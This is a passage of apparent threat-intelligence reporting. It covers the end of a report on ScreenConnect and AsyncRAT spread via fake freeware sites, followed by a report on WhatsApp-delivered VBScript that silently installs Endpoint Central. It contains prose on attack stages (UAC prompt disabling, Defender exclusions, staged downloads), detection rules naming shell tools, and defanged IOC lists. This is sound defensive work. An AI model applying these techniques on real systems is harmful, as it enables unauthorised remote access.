Country: Germany
Org name: dataforest GmbH
```

Below is an infrastructure graph showing this IP address and its hosted domains. Notably, unlike the previous case, this address also hosts direct-download.giize[.]com, a resource used to store distributed malicious archives.

In this branch of the campaign, the threat actor skipped game-themed lures entirely, focusing exclusively on creating fraudulent freeware sites that bundled ScreenConnect with the requested application. The domains hosted on IP address 2.59.134[.]97 were registered between October 2025 and March 2026.

The chart below shows the volume of fraudulent websites created month by month:

Breakdown of ScreenConnect delivery sites by theme, August 2025 through March 2026 (download)

C2 infrastructure analysis

In total, we identified dozens of different archives distributed across this campaign. All of them share a uniform file structure, containing the malicious install.res.1033.dll library and the ScreenConnect MSI package located at Assets\x86\vcredist_x64.dll.

In some instances, the ScreenConnect installation package also bundles a CAB archive.

This archive contains a system.config XML file, which defines the connection address for the ScreenConnect C2 server:

By analyzing these ScreenConnect installations, we uncovered additional C2 addresses, which are mapped out in the following graph:

The next graph illustrates the AsyncRAT command-and-control infrastructure:

Based on the registration dates of the C2 domains, we can determine that the campaign was launched in October 2025 and paused at the end of March. However, at the time of publication, many of the landing pages remain accessible via search engine results.

Takeaways

Investigating a single case of AsyncRAT delivered via ScreenConnect allowed us to uncover a massive, multi-domain, multi-language infrastructure designed to distribute a hidden installer for this software and further advance the attack. The threat actor disguises ScreenConnect as popular utilities and distributes it through fraudulent websites that mimic official product pages. The attackers leverage search engine optimization techniques to push these sites to the top of search results in engines like Google and Bing.

This attack chain targets both everyday consumers downloading free software from the internet and corporate networks, where remote access tools are frequently allowlisted and granted elevated privileges.

The potential objective of the campaign is to steal credentials en masse and gain unauthorized access to systems for subsequent resale on dark web marketplaces.

To mitigate the risks associated with this threat, we recommend implementing the following security measures:

• Enforce strict software installation controls: application allowlisting and blocking MSI package execution from untrusted sources
• Continuously monitor for the creation of new remote administration services and scheduler tasks
• Filter outbound traffic to unknown domains and IP addresses
• Regularly train users on safe downloading practices
• Verify the authenticity of all software sources

For enterprise users, credential monitoring is a critical mitigation strategy against the risks detailed in this article, as a leaked account or compromised system access frequently serves as a vector for subsequent attacks on the organization.  Kaspersky Digital Footprint Intelligence provides continuous data monitoring across open and dark web sources, enabling security teams to respond proactively to potential threats.

Detection by Kaspersky solutions

Kaspersky Managed Detection and Response detects the malicious activity described in this post using the following indicators of attack:

1. ScreenConnect service creation with suspicious parameters
   

   logsource:                      
       product: windows         
       category: security
   detection:
       selection_access:
           EventID: 4697
           Service File Name|contains:
               - 'e=Access'
               - 'ClientService.exe'
       selection_support:
           EventID: 4697
           Service File Name|contains:
               - 'e=Support'
               - 'ClientService.exe'
       condition: selection_access or selection_support

2. Anomalous child processes being spawned by the ScreenConnect service
   

   logsource:
       product: windows
       category: process_creation
   detection:
       selection:
           ParentImage|endswith:
               - '\\ScreenConnect.ClientService.exe'
               - '\\ScreenConnect.WindowsClient.exe'
               - '\\ScreenConnect.WindowsBackstageShell.exe'
               - '\\ScreenConnect.WindowsFileManager.exe'
           Image|endswith:
               - '\\powershell.exe'
               - '\\cmd.exe'
               - '\\net.exe'
               - '\\schtasks.exe'
               - '\\sc.exe'
               - '\\msiexec.exe'
               - '\\mshta.exe'
               - '\\rundll32.exe'
       condition: selection

Additionally, Kaspersky products detect the malware covered in this post under the following verdicts:

• Trojan.Win64.DLLhijack.*
• Trojan.VBS.Agent.*
• Trojan.PowerShell.Agent.bav
• Trojan.JS.SAgent.sb

Endpoint malicious activity can be monitored using Kaspersky EDR Expert. Specifically, security teams should look for the execution of commands and scripts containing suspicious patterns, such as XOR operations used for command and data obfuscation by malware operating on the host. This activity is flagged by the suspicious_assembly_loading_into_powershell_via_reflection_amsi and xored_powershell_command_amsi rules.

Additionally, persistence mechanisms involving the creation, modification, or utilization of scheduled tasks via the schtasks.exe utility are caught by the scheduled_task_create_from_public_directory_via_schtasks rule.

Malicious code injection into the RegAsm.exe process — leveraged by attackers to masquerade execution behind a trusted system component — is detected via the code_injection_to_unusual_process rule.

To visualize the stages of the attack, security teams can utilize Kaspersky Cloud Sandbox on the Threat Intelligence portal. For instance, this tool allows defenders to map out the entire deployment and payload execution chain originating from the initial VBS dropper.

Furthermore, the Kaspersky Threat Intelligence portal supports searching and graphing the connections between malicious domains and files involved in this campaign, as demonstrated in our adversary infrastructure analysis section.

Finally, the Similarity engine within Kaspersky Threat Analysis profiles file contents to hunt down samples resembling the original threat, helping organizations identify new or previously undetected malicious objects.

To protect companies using our Kaspersky SIEM system, there are rules available in the product repository to help detect this type of malicious activity.

• Adding exclusions to Windows Defender scans via the registry is detected by rule R241_Modification of Windows Defender exclusions through the registry. Adding exclusions via PowerShell (Add-MpPreference -ExclusionPath|ExclusionProcess) is detected by rule R076_04_Windows Defender settings disabled or changed via PowerShell.
• Bypassing the UAC mechanism by modifying the ConsentPromptBehaviorAdmin registry key is detected by rule R242_UAC disabled through the Windows registry.
• Running VBS scripts from a public directory triggers rule R290_07_Running VBScript files from shared folders.
• Creating a scheduled task that runs an executable file from a public directory triggers rule R099_01_Scheduled task started from a public folder.

For the rules to function correctly, it is necessary to configure event 4657 (Security) audit for the following registry keys:

• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Procesess
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin

Additionally, when developing your own detection rules or conducting threat hunting for suspicious ScreenConnect behavior, we recommend monitoring the following events:

• Creation of the ScreenConnect service with suspicious parameters
  

  DeviceEventClassID = '4697' 
  AND FileName LIKE '%ClientService.exe%' 
  AND (FileName LIKE '%e=Access%' OR FileName LIKE '%e=Support%')

• Launch of atypical child processes from the ScreenConnect service
  

  DeviceEventClassID = '4688'
  AND match(SourceProcessName, '.*\\\\ScreenConnect\\.(ClientService|WindowsClient|WindowsBackstageShell|WindowsFileManager)\\.exe')
  AND match(DestinationProcessName, '.*\\\\(powershell|cmd|net|schtasks|sc|msiexec|mshta|rundll32)\\.exe')

Indicators of compromise

Loaders

B32810973132D11AFD61CCEE222BBB79
5B7E1FE55BD7B5EA54BD4ED1677E5A26
9A9CCD8B0E5D05F4EE77667B024844DB
0EEE9BAD07E22415439E854657FA1366
8F4E8B680D3E8D3F5AC39BD72882F713

Malicious library: install.res.1033.dll

5F96C04E3AFAE97017B201BE112284D2
73BEAD922109A61E5F9F85771A7812C5
EDFF4F58722C93D7C09ED71899416396
83601C3D4ED28E8D2BE1B99BEB8EC18C
695E794631EF130583368770E7B81E98
83601C3D4ED28E8D2BE1B99BEB8EC18C
1E6A5C7B620D487D0CFC6874C3B77C90
54025CE2A9405039899FE99A1D77E0BB
BD05FCF80E493CF9AA71EC510319469D
999A63730C9634481D1D76955A2E76A8
479BD3BB617B39CD4A46D0768A2592D4
776DFD3DF9C04BB9FCDD6C1880C3761A
8E4C57358A66EB14D31ABB614DDC68DE
A40D3AEB0DAE5B00BDB3A517F3135BBB
A85A5BFDCB7C65AB93043B8CF9E20065
01325880EFFFEC546F59490089A3B415

AsyncRAT C2

mora1987[.]work[.]gd

Fake websites addresses

ds4windows[.]io
direct-download[.]giize[.]com
tmodloader[.]org
tmodloader[.]app
ds4windows[.]net
losslessscaling[.]app
processhacker[.]dev
steamtools[.]pro
dnsjumper[.]app
free-download[.]camdvr[.]org
defendercontrol[.]org
dns-jumper[.]com
cpuz[.]app
processhacker[.]org
processhacker[.]app
steamtools[.]cc
cpuz[.]pro
wallpaper-engine[.]app
processhacker[.]net
antimicrox[.]net
defendercontrol[.]app
tmodloader[.]pro
dnsjumper[.]io
bandicam[.]app
mgba[.]app
dnsjumper[.]pro
ferdium[.]app
ds4windows[.]pro
lossless-scaling[.]online
defender-control[.]com
gom-player[.]app
defendercontrol[.]pro
lossless-scaling[.]download
antimicrox[.]pro
mgba[.]pro
lossless-scaling[.]app
losslessscaling[.]pro
mgba[.]dev
tmodloader[.]download
tmod-loader[.]com
defendercontrol[.]download
ferdium[.]pro
deadreset[.]com
gom-player[.]net
crosshairx[.]pro
libreoffice[.]pro
studioobs[.]com
studio-obs[.]net
crosshairxv2[.]com
km-player[.]com
corel-draw[.]net
glary-utilities[.]com
download-full-version[.]ooguy[.]com
crosshair-x[.]com
kms-tools[.]com
studio-obs[.]com
crosshairx[.]net
clair-obscur-33[.]com
vlc-player[.]net
arksurvival-ascended[.]com
elden-ringnightreign[.]com
ready-ornot[.]com
arma-reforger[.]com
crusader-kings[.]com
crosshairx2[.]com
mediaplayerclassic[.]net
bandizip[.]pro
obs-studio[.]site
ovr-advanced-settings[.]com
studio-obs[.]pro
vlc-media[.]com
clair-obscur-33[.]town
ovr-toolkit[.]com
crusader-kings[.]church
bandizip[.]net
apexlegends[.]org
obs-studio[.]pro
vlc-media[.]net
crosshairx[.]site
monster-hunterwilds[.]com
km-player[.]pro
mediaplayerclassic[.]pro
kms-tools[.]net
fernbus-simulator[.]com
studioobs[.]pro
bandicam[.]cc
crystaldiskmark[.]cc
crystaldiskmark[.]io
crystaldiskmark[.]dev
crystaldiskmark[.]app
crystaldiskmark[.]pro
bandicam[.]io

Fake domain infrastructure

fileget.loseyourip[.]com
file-download-crosshairx.giize[.]com
all-toll-free.loseyourip[.]com
mpc-update.giize[.]com
all-toll-free.publicvm[.]com
198.23.185[.]81
direct-download.giize[.]com

ScreenConnect C2

servermanagemen[.]xyz
185.254.97[.]249
r.manage-server[.]xyz
45.145.41[.]205
winservec[.]net
manageserver[.]xyz
cloudsynn[.]com
pingserv[.]pro
ehostservers[.]xyz
serverdnsplan[.]net
pingpanl[.]pro
managedevice[.]xyz
edgeserv[.]ru

In June 2026, we observed a malware campaign distributing malicious VBScript files through direct messages in WhatsApp. The campaign affected users across multiple countries and territories, including Malaysia, Brazil, India, Mexico, Singapore, UK, Spain, Taiwan, Australia, Russia and Vietnam, with the highest number of victims observed in Malaysia. At the time of writing this article, the campaign is still active.

Analysis shows that the campaign primarily targets users of WhatsApp Desktop and WhatsApp Web. The threat actor uses deceptive file names masquerading as business and financial documents to persuade recipients to download and execute the attachment. Once executed, the VBScript initiates a multi-stage infection chain that ultimately results in the installation of legitimate Remote Monitoring and Management (RMM) software, enabling remote access to the victim’s system.

We came across a number of social media posts reporting that the malware was being distributed by the users’ contacts. The messages contained only the malicious attachment and did not include any accompanying text. One account sent the same attachment to multiple contacts from their list.

Based on evidence collected from multiple victims through social media reports and submitted samples, we can conclude that the threat actor had gained access to several WhatsApp accounts and used them to distribute the malicious VBScript files to contacts on the compromised users’ contact lists. At the time of writing, the exact method used to compromise these WhatsApp accounts remains unknown.

Social engineering through financial-themed file names

Analysis of the samples revealed that the threat actor relied heavily on social engineering through the use of deceptive file names designed to appear as legitimate business and financial documents. The file names frequently referenced invoices, account statements, debt notices, payment records, and bank statements.
Examples of file names include:

• Financial Reports.vbs
• Debt confirmation.vbs
• Statement of Debt(30K).vbs
• Outstanding Payment List.vbs
• Account Statement.vbs
• Debt Statement.vbs
• Billing Statement (2).vbs
• Promissory_Note(b).vbs

Several file names were also localized into different languages, including Portuguese, French, German, and Malay. Examples include:

• Extrato de Conciliação.vbs
• Aviso de dívida.vbs
• Le formulaire de demande le plus récent.vbs
• Bitte füllen Sie das Formular für Umsatzsteuer-Nullsatz-Verkäufe aus.vbs
• Penyata bank.vbs
• Sila semak bil anda.vbs

The use of multiple languages further suggests that the campaign may be targeting victims across different geographic regions.

In addition, the VBScript samples contain extensive comments and metadata intended to mimic legitimate Microsoft Windows Update components. Many of these comments are written in Chinese and include references to Windows Update modules, certificate validation, system integrity checks, and deployment-related functionality. The screenshot below shows an example of the Windows Update–themed comments and Chinese-language annotations embedded within one of the analyzed scripts.

Delivery of the initial VBScript file

Analysis of telemetry collected from the systems where the malware was executed, conducted together with the dynamic analysis of the sample, showed that the VBScript is launched through Windows Script Host (WScript.exe), which subsequently retrieves and executes additional VBScript components required for the later stages of the attack.

Two user interactions are needed to initiate the infection chain. When the user first clicks the attachment in either WhatsApp Desktop or WhatsApp web, it is downloaded to their machine. To launch the app, they need to open it.

In WhatsApp Desktop, the malware is executed directly within the application by clicking the file icon after downloading it or by choosing the “Open” option in the chat. The process tree analysis shows that WScript.exe is spawned by WhatsApp.Root.exe. The executed script was observed within WhatsApp Desktop’s attachment storage directory, with the following command line:

"C:\Windows\System32\WScript.exe" "C:\Users\<username>\AppData\Local\Packages\5319275A.WhatsAppDesktop_cv1g1gvanyjgm\LocalState\Sessions\<session_identifier>\Transfers\<YYYY-MM>\financial reports(s).vbs"

This process relationship confirms that the malicious VBScript was executed directly from the WhatsApp Desktop client.

In contrast, when the attachment is accessed through WhatsApp Web, to launch the malware, the user should open the downloaded file from the Downloads folder or through the browser’s download history. In the first case, the malware’s parent process will be explorer.exe, while in the second, it will be executed by the browser where the web app was opened.

Technical analysis

Stage 1: Initial VBScript execution

The first stage of the infection chain is a VBS or VBE file delivered through WhatsApp. Although multiple variants of the scripts were observed, their core functionality remains consistent: the script creates a working directory under C:\Users\Public\Documents\, downloads two additional VBScript payloads from a remote infrastructure, and executes them using Windows Script Host.

Across the observed variants, the working directory is created using randomized names such as Temp_<random> or MSUpdate_<random>. Some variants also configure the directory and downloaded files with hidden and system attributes, likely to reduce visibility to the user during execution.

The scripts employ several obfuscation techniques, including string concatenation, encoded VBScript, randomized variable names, and large amounts of junk content. One notable variant employs even heavier obfuscation than the other samples. The script reconstructs object names, file paths, utilities, and URLs through character-by-character string concatenation.

Several variants copy curl.exe and bitsadmin.exe into the working directory and rename them using DLL-like filenames before downloading additional VBS files.

The downloaded files are commonly staged using misleading file extensions before execution. For example, some variants download files using PDF or TXT extensions and then change them to VBS before launching them with wscript.exe. Other variants download the secondary VBScript payloads directly.

Despite differences in infrastructure, file names, and obfuscation methods, all observed variants ultimately perform the same function: downloading and executing two secondary VBScript payloads that continue the infection chain.

Stage 2: Execution of secondary VBScript payloads

Following execution, the Stage 1 VBScript downloads and launches two additional VBScript files from attacker-controlled infrastructure. One script attempts to modify Windows User Account Control (UAC) settings, while the other downloads and executes a ZIP archive containing the installation package for a RMM software.

VBS script 1: UAC configuration modification

First Stage 2 scripts were observed attempting to modify Windows      UAC     behavior.

As shown in the figure above, the script repeatedly executes an elevated registry modification command targeting the following registry key:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin

The command is launched using the ShellExecute method with the runas verb, causing Windows to request administrative privileges before the registry change can be applied. Its goal is to set the ConsentPromptBehaviorAdmin registry key value to 0, thus enabling administrative actions without displaying a consent prompt to the user. The script attempts to apply this registry change in a loop with short delays between executions, likely to increase the chances that the setting will be successfully modified if administrative privileges are granted by the victim.

VBS script 2: ZIP download and script execution

The second VBS script downloads a ZIP file, extracts it and executes a script to start the RMM installation.

Similar to the Stage 1 downloader, the Stage 2 downloader creates its own working directory under C:\Users\Public\Documents\, commonly using randomized folder names such as Sys<random>, Data<random>, or a random numeric value. In most cases, the hidden attribute is assigned to this folder. The script then downloads a ZIP archive from attacker-controlled infrastructure, extracts its contents, and executes an embedded setup1.vbs script.

Similar to the Stage 1 downloader, the variants leverage multiple download mechanisms, including curl, bitsadmin, certutil, PowerShell, and direct HTTP requests.

Following a successful download, the archive is extracted using the Shell.Application COM interface. Most variants invoke the CopyHere method with flags intended to suppress user prompts and allow extraction to proceed without user interaction. The extracted setup1.vbs script is then launched through wscript.exe to proceed with the next stage of the infection chain.

Also, one variant additionally attempts to remove Zone.Identifier alternate data streams from extracted files prior to execution, likely to reduce security warnings associated with files downloaded from the Internet.

Stage 3: Installation of remote monitoring and management software

Besides the setup1.vbs script, the ZIP archive downloaded during Stage 2 contains a preconfigured ManageEngine Endpoint Central deployment package. Inside the archive are the files required to install and register the Endpoint Central agent, including the MSI installer, configuration files, certificates, and installation scripts.

The table below summarizes the purpose of each file contained within the deployment package:

File	Description
DCAgentServerInfo.json	Endpoint Central server configuration containing management server IP addresses and ports
DMRootCA.crt	Trusted root certificate
DMRootCA-Server.crt	Server authentication certificate
README.html	Endpoint Central agent setup instructions
setup.bat	Legitimate Endpoint Central installer wrapper included in the package, not used by the malware chain
setup1.vbs	Malicious launcher used by the threat actor to silently install the Endpoint Central agent
UEMSAgent.msi	Endpoint Central agent installer package
UEMSAgent.mst	Custom installation configuration settings for the MSI package

ManageEngine Endpoint Central is a legitimate enterprise management platform commonly used for software deployment, system administration, and remote support. Its remote administration capabilities make it attractive for abuse by threat actors seeking persistent access to compromised systems.

One interesting variant attempted to disguise the package as an income tax–related document. Instead of containing a legitimate tax document, the archive contained a VBScript file named “Income Tax Return Form.vbs” and accompanied by an instruction file designed to persuade the victim to open it. Analysis showed that the VBScript contained functionality similar to setup1.vbs, ultimately performing the same Endpoint Central installation process.

As discussed in Stage 2, the downloader ultimately executes a VBScript file named setup1.vbs. The script first verifies that the required installation files are present in the extracted folder and then attempts to relaunch itself with administrative privileges using the Windows runas mechanism before proceeding with the installation.

Once elevated, setup1.vbs silently installs the bundled ManageEngine Endpoint Central agent using msiexec.exe, applying the supplied configuration and certificate files. The installation is performed silently, preventing the user from seeing the Endpoint Central installation interface.

Analysis of the embedded DCAgentServerInfo.json configuration file revealed the following Endpoint Central management servers:

• 202.61.160[.]208
• 202.61.160[.]202
• 202.61.160[.]201
• 202.61.160[.]160
• 202.61.160[.]137
• 38.55.151[.]63

Notably, 202.61.160[.]201 had previously been observed as command-and-control infrastructure associated with ValleyRAT and Gh0st RAT activity. Although the overlap raises the possibility of the VBS campaign being linked to the operator of these known malware families, the available evidence is insufficient to confidently attribute the campaign to a known threat actor.

Victimology and attribution

Based on our telemetry, infections were observed across several countries and territories, including Malaysia, Brazil, India, Mexico, Singapore, UK, Spain, Taiwan, Australia, Russia, and Vietnam, with 80% of the victims located in Malaysia. The campaign primarily relied on malicious VBScript attachments distributed through WhatsApp and appeared to target individual users rather than specific organizations or industries. At the time of the analysis, no evidence suggested a focused targeting strategy, instead indicating a broad, opportunistic campaign aimed at consumers.

We were unable to confidently attribute this activity to a known threat actor or intrusion set. However, several artifacts observed throughout the campaign point to a possible Chinese-speaking threat actor.

Multiple VBScript samples contained comments, module descriptions, and execution notes written in simplified Chinese characters. These comments appeared consistently across different variants, suggesting that the scripts were likely developed or maintained by a Chinese-speaking operator.

We also identified infrastructure overlaps with IP addresses previously associated with ValleyRAT and Gh0st RAT activity. While these overlaps may indicate infrastructure reuse or shared hosting resources, they are not sufficient to establish a direct connection to any known threat actor.

Based on the available evidence, we assess with low confidence that the campaign was conducted by a Chinese-speaking operator. Additional investigation, infrastructure overlaps, or operational indicators would be required to support a stronger attribution assessment.

Conclusion

This campaign uses compromised WhatsApp accounts to distribute malicious VBScript attachments that ultimately install a preconfigured ManageEngine Endpoint Central agent on victim systems. Observed victims were located across multiple countries and territories, including Malaysia, Brazil, India, Mexico, Singapore, UK, Spain, Taiwan, Australia, Russia, and Vietnam, suggesting a broad and opportunistic campaign. Users should be cautious when receiving unexpected attachments through WhatsApp, even when they appear to originate from known contacts. Script and executable file types such as VBS, VBE, EXE, BAT, CMD, JS, and PS1 should not be opened unless their legitimacy has been independently verified.

IOCs

VBScript

c7f38cbb99c8b74fa0465293feeba700 Financial Reports.vbs
b7cd06c71465038b658a6dc1f273a507 Debt confirmation.vbs
9f13c7b8ba391b2f597874e54d310648 Electronic statement(A).vbs
993f4c0cadbc769a4b0ed62a918db58d Financial Reports(s).vbs
7f81c1bc8cfd588e8998968e2621456e Outstanding Payment List.vbs
7403cbcc5a9c32384d431856dc48fcc9 Statement of debt (4).vbs
68c16c46f8afb9e00bbaba0207fb0a46 Debt Note (2).vbs
66442f2457eca8f47385b1fb2c6fcab8 Statement of Debt(30K).vbs
6359e6236471cbe434d0ef4c42b7f879 Applicationform1.vbs
5b6bbcc06cf08cc99e1afeda486d42fb Extrato de Conciliação.vbs
5002eca748205d544618e3bd2dedc223 Statement of Debt(29K).vbs
4f0593e8e0e8fac49429e9b45ebf7fa1 Outstanding Payment List.vbs
4044e4b6471c9de7b0a4ba37d9d9df9a billing statement (2).vbs
20209b3a32769afc6a75694b8d8839dd Statement of Debt(A).vbs
0ba93109757776a44de9d8c88baa4963 Financial Reports(C1).vbs
02bb20455cc592a69c080abac770ce90 Le formulaire de demande le plus récent .vbs
6c39900d77dcba158e1d27c7619cb06d Outstanding Balance Sheet(A).vbs
dad708e050632a4280cabf98ac1376b7 Outstanding Balance Sheet.vbs
05d188f071d097f5b6bd8138749b4b14 Penyata bank.vbs
2c6f05f1f309d89b2236e6c8b59c88f9 Account Statement（13K） (2).vbs
3b1aba44dd3d9b6339b6f56e2f42034b Statement of Account.txt
d43fdaa1f0ee09d7e5f0f94ee9df7b6c Bitte füllen Sie das Formular für Umsatzsteuer-Nullsatz-Verkäufe aus.vbs
df4fa0369eaca5cec348be293890d4af Account Statement.vbs
63ac85195b73753333316a889cf5880f Statement of Account(O).vbs
74fd9f91fc93b6288b4fc253ea5b3e20 Sila semak bil anda.vbs
d06333c360b51456f427e616c3c5f8bd Sila semak bil anda.vbs
993f4c0cadbc769a4b0ed62a918db58d FinancialReportsS.vbs
1d94fbe9cab21278cc3f104bea334d08 Promissory_Note(b).vbs
9d9ac85765e4a818a3ccabe2cf4fef82 Debt Statement.vbs
6fb6a55424adfb61e31f06aef33273e5 dfjieya.vbs
f90ed4b2d0b67114aa89ddfed658e5c0 dfjieya.vbs
8c3322009b8982663c0cbecd9492e7eb 0lf.vbs
66705384a7ad81d14c34fc6c054a0ecf iowepv.vbs
8c6d9fc389ad3f20ccbc71d77eb39bfa btksfmsi.vbs
1a3cc75466ffb1971482f7abf7aabc3f home3.vbs
1c47c63e5ed25060d95359c57c77b107 zipats.vbs
31037a42ca048e06e69a78f55bc2eff5 1122.vbs
7f16449cd0c4862d1eadf8a5742bf09a payload_1.vbs
79ecd61b09b0f2d54b34586c916c4ec9 sac8.vbs
7849061c536a3efb05a56d504694e7e7 6oy.vbs
ddaffe9849f7f3c79f8804adb9a6b3d5 kof.vbs
d01cad98dd0d01b75e04e784953c5e2b sleestak_payload_1.vbs

Domains

temu.baskwms[.]top
invoice.msopsa[.]top
qse.shoppes[.]help
shaaslong[.]one
baoxis[.]cc
baolongwes.oss-ap-southeast-1.aliyuncs[.]com
sdcwww.oss-ap-southeast-1.aliyuncs[.]com
baoyuw2s.s3.ap-southeast-1.amazonaws[.]com
hksha3.s3.ap-southeast-1.amazonaws[.]com
sjdkjj23.s3.ap-southeast-1.amazonaws[.]com
xijkwm2.s3.ap-southeast-1.amazonaws[.]com
yifubafu.s3.ap-southeast-1.amazonaws[.]com
caiwuascw.s3.us-east-005.backblazeb2[.]com
facaia.s3.us-east-005.backblazeb2[.]com

Attacker-controlled UEMS server IP Address

202.61.160[.]202
202.61.160[.]201
202.61.160[.]137
202.61.160[.]160
202.61.160[.]208
38.55.151[.]63